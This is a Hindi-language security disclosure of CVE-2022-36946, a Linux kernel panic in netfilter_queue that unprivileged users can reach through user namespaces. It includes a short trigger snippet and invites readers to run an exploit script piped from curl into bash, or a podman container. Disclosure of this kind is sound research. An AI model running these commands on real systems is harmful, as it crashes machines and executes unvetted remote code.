
CVE-2022-36946 लिनक्स कर्नेल पैनिक में netfilter_queue
रिपोर्ट द्वारा: Domingo Dirutigliano और Nicola Guerrera
जब हम firegex पर काम कर रहे थे, जो CTF Attack-Defence प्रतियोगिताओं के लिए हमारा एप्लिकेशन फ़ायरवॉल है, तो हम कुछ कर्नेल पैनिक्स पर ठोकर खाए।
इस अजीब व्यवहार को फिर अलग करके विश्लेषित किया गया, जिसके परिणामस्वरूप netfilter मॉड्यूल, विशेष रूप से nfnetlink में इस संभावित सुरक्षा दोष की खोज हुई।
जब nf_queue निर्णय को 0-बाइट nfta_payload विशेषता के साथ भेजा जाता है तो कर्नेल पैनिक करता है।
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
ऐसा इसलिए होता है क्योंकि IP/IPv6 स्टैक इनपुट हुक के बाद पैकेट से IP(v6) हेडर को खींचता है।
इसलिए, यदि उपयोगकर्ता पैकेट को हेडर आकार से नीचे छोटा कर देता है, तो यह skb_pull() एक विकृत skb का कारण बनेगा जिसके परिणामस्वरूप पैनिक होगा।
इसे एक अनप्रिविलेज्ड उपयोगकर्ता के साथ भी curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash चलाकर आज़माएं (नीचे और विवरण)।
Linux नेमस्पेस, विशेष रूप से उपयोगकर्ता नेमस्पेस (kernel.unprivileged_userns_clone=1 के माध्यम से सक्षम) का उपयोग करके, एक सामान्य उपयोगकर्ता एक नेटवर्क नेमस्पेस बनाने में सक्षम होता है, जिससे वे पैनिक को ट्रिगर करने वाले उसी कर्नेल प्रिमिटिव का उपयोग कर सकते हैं।
यह आपको बिना root के भेद्यता का उपयोग करने की अनुमति देगा।
यह परिदृश्य असामान्य नहीं है: उदाहरण के लिए podman अपने (रूटलेस) कंटेनरों को चलाने के लिए इस विकल्प का उपयोग करता है, और कुछ डिस्ट्रोस पर यह विकल्प डिफ़ॉल्ट रूप से सक्षम होता है।
आप root विशेषाधिकारों के बिना शोषण निष्पादित करने का प्रयास भी कर सकते हैं:
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
या यदि आप इसे चलते-चलते परीक्षण करना चाहते हैं (केवल tar और curl इंस्टॉल होना आवश्यक है):
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
Linux कर्नेल 5.19 में ठीक किया गया अंतर देखें
Linux कर्नेल सुरक्षा टीम द्वारा मूल पैच यहाँ
यह छठे प्रयास में काम किया, इसलिए हमने यह नाम रखा।

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing